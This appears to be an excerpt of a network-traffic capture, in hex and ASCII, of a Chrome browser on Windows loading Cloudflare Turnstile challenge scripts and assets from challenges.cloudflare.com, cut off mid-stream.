window._cf_chl_opt.uaO=false;window._cf_chl_opt.qZJyT2={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2024-09-29 13:46:04 UTC	1369	IN	Data Raw: 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 Data Ascii: erification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","turnstile_expired":"Expired","feedback_report_output_s
2024-09-29 13:46:04 UTC	1369	IN	Data Raw: 61 72 73 65 49 6e 74 28 67 48 28 39 39 32 29 29 2f 31 31 29 2c 66 3d 3d 3d 64 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 32 31 32 36 31 31 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 31 36 35 32 29 5d 2c 65 4f 3d 5b 5d 2c 65 50 3d 30 3b 32 35 36 3e 65 50 3b 65 4f 5b 65 50 5d 3d 53 74 72 69 6e 67 5b 67 49 28 31 35 30 30 29 5d 28 65 50 29 2c 65 50 2b 2b 29 3b 65 51 3d 28 30 2c 65 76 61 6c 29 28 67 49 28 36 37 30 29 29 2c 65 52 3d 61 74 6f 62 28 67 49 28 31 65 33 29 29 2c 66 68 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 63 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 68 63 3d 67 Data Ascii: arseInt(gH(992))/11),f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,212611),eM=this\|\|self,eN=eM[gI(1652)],eO=[],eP=0;256>eP;eO[eP]=String[gI(1500)](eP),eP++);eQ=(0,eval)(gI(670)),eR=atob(gI(1e3)),fh=function(f,hc,g,h,i,j,k,l,m){for(hc=g
2024-09-29 13:46:04 UTC	1369	IN	Data Raw: 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 73 5e 6e 7d 2c 67 5b 68 63 28 31 38 30 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 3e 73 7d 2c 67 5b 68 63 28 31 38 34 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 73 5e 6e 7d 2c 67 5b 68 63 28 31 35 33 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 5e 73 7d 2c 67 5b 68 63 28 39 38 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 73 5e 6e 7d 2c 67 5b 68 63 28 31 31 30 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 73 7d 2c 67 5b 68 63 28 31 33 31 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b Data Ascii: )]=function(n,s){return s^n},g[hc(1805)]=function(n,s){return n>s},g[hc(1848)]=function(n,s){return s^n},g[hc(1537)]=function(n,s){return n^s},g[hc(983)]=function(n,s){return s^n},g[hc(1105)]=function(n,s){return n instanceof s},g[hc(1310)]=function(n,s){
2024-09-29 13:46:04 UTC	1369	IN	Data Raw: 68 69 73 2e 67 29 5d 25 74 68 69 73 2e 68 5b 68 5b 68 64 28 31 39 38 35 29 5d 28 68 5b 68 64 28 31 35 36 34 29 5d 28 43 2c 31 36 36 29 2c 74 68 69 73 2e 67 29 5d 29 3a 4d 3d 3d 3d 32 33 35 3f 28 44 3d 34 5e 78 2c 4e 3d 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 28 43 5e 31 37 35 2e 37 38 29 5d 2c 45 3d 74 68 69 73 2e 68 5b 68 5b 68 64 28 31 34 39 33 29 5d 28 33 2e 39 37 5e 42 2c 74 68 69 73 2e 67 29 5d 26 26 4f 29 3a 50 3d 3d 3d 36 38 3f 28 44 3d 68 5b 68 64 28 31 36 35 34 29 5d 28 78 2c 35 38 29 2c 51 3d 74 68 69 73 2e 68 5b 68 5b 68 64 28 31 37 35 31 29 5d 28 68 5b 68 64 28 37 31 38 29 5d 28 43 2c 31 38 35 29 2c 74 68 69 73 2e 67 29 5d 2c 45 3d 74 68 69 73 2e 68 5b 68 5b 68 64 28 39 39 35 29 5d 28 42 2c 31 36 31 29 5e 74 68 69 73 2e 67 5d 7c 7c 52 29 3a Data Ascii: his.g)]%this.h[h[hd(1985)](h[hd(1564)](C,166),this.g)]):M===235?(D=4^x,N=this.h[this.g^(C^175.78)],E=this.h[h[hd(1493)](3.97^B,this.g)]&&O):P===68?(D=h[hd(1654)](x,58),Q=this.h[h[hd(1751)](h[hd(718)](C,185),this.g)],E=this.h[h[hd(995)](B,161)^this.g]\|\|R):
2024-09-29 13:46:04 UTC	1369	IN	Data Raw: 6a 5e 3d 6c 5b 68 64 28 31 30 36 36 29 5d 28 73 29 7d 29 2c 66 3d 65 4d 5b 68 63 28 31 34 35 39 29 5d 28 66 29 2c 6b 3d 5b 5d 2c 69 3d 2d 31 3b 21 69 73 4e 61 4e 28 6d 3d 66 5b 68 63 28 31 30 36 36 29 5d 28 2b 2b 69 29 29 3b 6b 5b 68 63 28 31 32 38 36 29 5d 28 53 74 72 69 6e 67 5b 68 63 28 31 35 30 30 29 5d 28 68 5b 68 63 28 39 37 38 29 5d 28 68 5b 68 63 28 38 38 34 29 5d 28 28 32 35 35 26 6d 29 2d 6a 2d 69 25 36 35 35 33 35 2c 36 35 35 33 35 29 2c 32 35 35 29 29 29 29 3b 72 65 74 75 72 6e 20 6b 5b 68 63 28 31 33 35 32 29 5d 28 27 27 29 7d 2c 66 69 3d 66 75 6e 63 74 69 6f 6e 28 68 65 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 68 65 3d 67 49 2c 64 3d 7b 27 4d 55 71 78 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d Data Ascii: j^=l[hd(1066)](s)}),f=eM[hc(1459)](f),k=[],i=-1;!isNaN(m=f[hc(1066)](++i));k[hc(1286)](String[hc(1500)](h[hc(978)](h[hc(884)]((255&m)-j-i%65535,65535),255))));return k[hc(1352)]('')},fi=function(he,d,e,f,g){return he=gI,d={'MUqxR':function(h,i){return i==
2024-09-29 13:46:04 UTC	1369	IN	Data Raw: 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 68 66 29 7b 72 65 74 75 72 6e 20 68 66 3d 68 65 2c 64 5b 68 66 28 36 32 32 29 5d 28 6e 75 6c 6c 2c 68 29 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 68 67 29 7b 72 65 74 75 72 6e 20 68 67 3d 68 66 2c 68 67 28 32 30 30 34 29 5b 68 67 28 31 36 39 39 29 5d 28 69 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 68 68 2c 4f 2c 50 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 29 7b 69 66 28 68 68 3d 68 65 2c 64 5b 68 68 28 36 31 38 29 5d 3d 3d 3d 64 5b 68 68 28 31 38 37 30 29 5d 29 4f 3d 7b 27 56 50 6a 43 78 27 3a 66 75 6e 63 74 69 6f 6e 28 51 2c 52 2c 53 29 7b 72 65 74 75 72 6e 20 51 28 52 2c 53 29 7d 2c 27 64 46 4e 42 70 27 3a 64 5b 68 Data Ascii: ':function(h,hf){return hf=he,d[hf(622)](null,h)?'':f.g(h,6,function(i,hg){return hg=hf,hg(2004)[hg(1699)](i)})},'g':function(i,j,o,hh,O,P,s,x,B,C,D,E,F,G,H,I,J,K,L,M){if(hh=he,d[hh(618)]===d[hh(1870)])O={'VPjCx':function(Q,R,S){return Q(R,S)},'dFNBp':d[h
2024-09-29 13:46:04 UTC	1369	IN	Data Raw: 65 20 42 5b 43 5d 7d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 48 3c 3c 31 7c 31 26 4d 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 68 68 28 31 32 38 36 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 43 3d 28 44 2d 2d 2c 44 3d 3d 30 26 26 28 44 3d 4d 61 74 68 5b 68 68 28 39 37 33 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 78 5b 4c 5d 3d 45 2b 2b 2c 53 74 72 69 6e 67 28 4b 29 29 7d 69 66 28 43 21 3d 3d 27 27 29 7b 69 66 28 4f 62 6a 65 63 74 5b 68 68 28 31 30 39 31 29 5d 5b 68 68 28 31 38 30 34 29 5d 5b 68 68 28 38 34 34 29 5d 28 42 2c 43 29 29 7b 69 66 28 64 5b 68 68 28 31 33 35 30 29 5d 28 32 35 36 2c 43 5b 68 68 28 31 30 36 36 29 5d 28 30 29 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c Data Ascii: e B[C]}}else for(M=x[C],s=0;s<F;H=H<<1\|1&M,I==j-1?(I=0,G[hh(1286)](o(H)),H=0):I++,M>>=1,s++);C=(D--,D==0&&(D=Math[hh(973)](2,F),F++),x[L]=E++,String(K))}if(C!==''){if(Object[hh(1091)][hh(1804)][hh(844)](B,C)){if(d[hh(1350)](256,C[hh(1066)](0))){for(s=0;s<
2024-09-29 13:46:04 UTC	1369	IN	Data Raw: 68 6c 28 37 33 39 29 5d 28 33 2c 45 29 3b 73 5b 45 5d 3d 45 2c 45 2b 3d 31 29 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 6c 28 39 37 33 29 5d 28 32 2c 32 29 2c 46 3d 31 3b 64 5b 68 6c 28 31 31 39 38 29 5d 28 46 2c 4b 29 3b 4c 3d 64 5b 68 6c 28 31 31 38 39 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 68 6c 28 39 30 33 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 6c 28 39 37 33 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 64 5b 68 6c 28 31 39 39 35 29 5d 28 46 2c 4b 29 3b 4c 3d 47 26 48 2c 48 3e 3e 3d 31 2c 64 5b 68 6c 28 31 39 39 32 29 5d 28 30 2c 48 29 26 26 28 48 Data Ascii: hl(739)](3,E);s[E]=E,E+=1);for(J=0,K=Math[hl(973)](2,2),F=1;d[hl(1198)](F,K);L=d[hl(1189)](G,H),H>>=1,0==H&&(H=j,G=d[hl(903)](o,I++)),J\|=F*(0<L?1:0),F<<=1);switch(J){case 0:for(J=0,K=Math[hl(973)](2,8),F=1;d[hl(1995)](F,K);L=G&H,H>>=1,d[hl(1992)](0,H)&&(H
2024-09-29 13:46:04 UTC	1369	IN	Data Raw: 30 35 29 5d 3d 27 6e 27 2c 66 6a 5b 67 49 28 31 30 36 31 29 5d 3d 27 49 27 2c 66 6b 3d 66 6a 2c 65 4d 5b 67 49 28 31 39 30 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 2c 68 70 2c 6f 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 69 66 28 68 70 3d 67 49 2c 6f 3d 7b 27 6b 73 57 78 73 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 4b 54 49 53 54 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 4b 4b 78 59 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 28 48 29 7d 2c 27 42 66 66 4f 67 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 4b 57 65 46 61 27 3a 68 70 28 31 34 38 32 29 2c 27 4c 6c 65 4c 72 27 Data Ascii: 05)]='n',fj[gI(1061)]='I',fk=fj,eM[gI(1903)]=function(g,h,i,j,hp,o,x,B,C,D,E,F){if(hp=gI,o={'ksWxs':function(G,H){return G+H},'KTIST':function(G,H){return G+H},'KKxYl':function(G,H){return G(H)},'BffOg':function(G,H){return G===H},'KWeFa':hp(1482),'LleLr'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49747	104.18.94.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:04 UTC	795	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/241b4/0x4AAAAAAAkADMcpklP8sqhD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:04 UTC	210	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:46:04 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8cac6ad23d9b0f67-EWR
2024-09-29 13:46:04 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49748	104.18.95.41	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:05 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cac6acac9d61809&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:05 UTC	301	IN	HTTP/1.1 200 OK Date: Sun, 29 Sep 2024 13:46:05 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118191 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8cac6ada1c767279-EWR
2024-09-29 13:46:05 UTC	1068	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 5a 4a 79 54 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qZJyT2={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 25 32 32 25 33 45 43 6c 69 63 6b 25 32 30 68 65 72 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 Data Ascii: 0properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support%22%3EClick%20here%20for%20more%2
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 31 30 30 32 31 30 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 35 37 38 29 5d 2c 65 4d 5b 67 49 28 31 37 37 32 29 5d 3d 21 5b 5d 2c 65 4d 5b 67 49 28 31 31 35 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 36 29 7b 69 66 28 68 36 3d 67 49 2c 65 4d 5b 68 36 28 31 37 37 32 29 5d 29 72 65 74 75 72 6e 3b 65 4d 5b 68 36 28 31 37 37 32 29 5d 3d 21 21 5b 5d 7d 2c 65 55 3d 30 2c 65 4e 5b 67 49 28 36 33 30 29 5d 3d 3d 3d 67 49 28 39 34 36 29 3f 65 4e 5b 67 49 28 31 37 37 34 29 5d 28 67 49 28 31 32 31 33 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 65 58 2c 30 29 7d 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 65 58 2c 30 Data Ascii: )}catch(g){e.push(e.shift())}}(a,100210),eM=this\|\|self,eN=eM[gI(578)],eM[gI(1772)]=![],eM[gI(1154)]=function(h6){if(h6=gI,eM[h6(1772)])return;eM[h6(1772)]=!![]},eU=0,eN[gI(630)]===gI(946)?eN[gI(1774)](gI(1213),function(){setTimeout(eX,0)}):setTimeout(eX,0
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 2b 46 2c 47 29 2c 45 2b 2b 29 3b 72 65 74 75 72 6e 20 6f 3b 66 75 6e 63 74 69 6f 6e 20 42 28 49 2c 4a 2c 68 41 29 7b 68 41 3d 68 7a 2c 4f 62 6a 65 63 74 5b 68 41 28 31 34 30 30 29 5d 5b 68 41 28 31 32 35 31 29 5d 5b 68 41 28 31 32 30 38 29 5d 28 6f 2c 4a 29 7c 7c 28 6f 5b 4a 5d 3d 5b 5d 29 2c 6f 5b 4a 5d 5b 68 41 28 36 36 35 29 5d 28 49 29 7d 7d 2c 66 36 3d 67 49 28 36 31 34 29 5b 67 49 28 37 37 34 29 5d 28 27 3b 27 29 2c 66 37 3d 66 36 5b 67 49 28 31 32 39 30 29 5d 5b 67 49 28 31 33 34 32 29 5d 28 66 36 29 2c 65 4d 5b 67 49 28 31 37 31 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 68 43 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 68 43 3d 67 49 2c 69 3d 7b 27 73 4c 48 73 52 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e Data Ascii: +F,G),E++);return o;function B(I,J,hA){hA=hz,Object[hA(1400)][hA(1251)][hA(1208)](o,J)\|\|(o[J]=[]),o[J][hA(665)](I)}},f6=gI(614)[gI(774)](';'),f7=f6[gI(1290)][gI(1342)](f6),eM[gI(1719)]=function(g,h,hC,i,j,k,l,m){for(hC=gI,i={'sLHsR':function(n,o){return n
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 68 3c 3c 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 68 47 28 36 32 31 29 5d 5b 68 47 28 33 34 32 29 5d 28 65 5b 68 47 28 31 37 33 39 29 5d 28 32 2c 66 29 2c 33 32 29 2c 65 4d 5b 68 47 28 39 33 33 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 48 29 7b 68 48 3d 68 47 2c 65 4d 5b 65 5b 68 48 28 31 31 36 38 29 5d 5d 26 26 28 65 4d 5b 68 48 28 31 32 35 37 29 5d 5b 68 48 28 31 36 30 30 29 5d 28 29 2c 65 4d 5b 68 48 28 31 32 35 37 29 5d 5b 68 48 28 39 30 34 29 5d 28 29 2c 65 4d 5b 68 48 28 31 35 38 32 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 65 5b 68 48 28 31 31 36 38 29 5d 5d 5b 68 48 28 36 32 36 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 65 5b 68 48 28 38 36 35 29 5d 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 68 48 28 33 39 34 29 5d 5b 68 48 28 31 35 37 32 29 Data Ascii: h<<i},e=d,f=1,g=1e3*eM[hG(621)][hG(342)](e[hG(1739)](2,f),32),eM[hG(933)](function(hH){hH=hG,eM[e[hH(1168)]]&&(eM[hH(1257)][hH(1600)](),eM[hH(1257)][hH(904)](),eM[hH(1582)]=!![],eM[e[hH(1168)]][hH(626)]({'source':e[hH(865)],'widgetId':eM[hH(394)][hH(1572)
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 6d 5e 6c 7d 2c 27 55 58 66 7a 75 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6d 5e 6c 7d 2c 27 67 54 74 46 77 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 2c 6e 29 7b 72 65 74 75 72 6e 20 6c 28 6d 2c 6e 29 7d 2c 27 71 70 4d 6a 49 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6d 5e 6c 7d 2c 27 4f 73 79 70 66 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 2c 6e 29 7b 72 65 74 75 72 6e 20 6c 28 6d 2c 6e 29 7d 2c 27 52 5a 78 4a 41 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 3e 3e 3e 6d 7d 2c 27 6d 41 55 6a 57 27 3a 68 4a 28 33 33 36 29 2c 27 79 77 61 4a 68 27 3a 68 4a 28 31 35 36 38 29 2c 27 6f 65 67 41 44 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 Data Ascii: {return m^l},'UXfzu':function(l,m){return m^l},'gTtFw':function(l,m,n){return l(m,n)},'qpMjI':function(l,m){return m^l},'Osypf':function(l,m,n){return l(m,n)},'RZxJA':function(l,m){return l>>>m},'mAUjW':hJ(336),'ywaJh':hJ(1568),'oegAD':function(l,m){retur
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 27 49 64 6c 6b 70 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 63 53 43 72 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3e 67 7d 2c 27 4a 53 58 56 67 27 3a 6a 6d 28 38 35 32 29 2c 27 49 6b 56 4e 48 27 3a 6a 6d 28 34 37 37 29 7d 2c 64 3d 65 4d 5b 6a 6d 28 33 39 34 29 5d 5b 6a 6d 28 33 37 37 29 5d 7c 7c 31 65 34 2c 65 3d 67 39 28 29 2c 21 65 4d 5b 6a 6d 28 31 35 38 32 29 5d 26 26 21 63 5b 6a 6d 28 31 30 32 33 29 5d 28 66 4c 29 26 26 21 65 4d 5b 6a 6d 28 31 32 35 37 29 5d 5b 6a 6d 28 34 39 31 29 5d 26 26 63 5b 6a 6d 28 35 37 37 29 5d 28 65 2d 67 38 2c 64 29 29 7b 69 66 28 63 5b 6a 6d 28 31 33 35 30 29 5d 21 3d 3d 63 5b 6a 6d 28 31 34 37 39 29 5d 29 66 72 28 29 3b 65 6c 73 65 20 72 65 74 75 72 Data Ascii: 'Idlkp':function(f){return f()},'cSCrZ':function(f,g){return f>g},'JSXVg':jm(852),'IkVNH':jm(477)},d=eM[jm(394)][jm(377)]\|\|1e4,e=g9(),!eM[jm(1582)]&&!c[jm(1023)](fL)&&!eM[jm(1257)][jm(491)]&&c[jm(577)](e-g8,d)){if(c[jm(1350)]!==c[jm(1479)])fr();else retur
2024-09-29 13:46:05 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 6b 4c 4a 66 62 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 73 77 73 50 4e 27 3a 6a 6e 28 31 36 30 31 29 2c 27 64 73 6f 73 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 45 4f 42 78 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 44 79 56 59 47 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 28 69 2c 6a 29 7d 2c 27 6a 67 6f 43 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 44 50 67 79 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 6e 4a 65 6d 64 27 3a 66 75 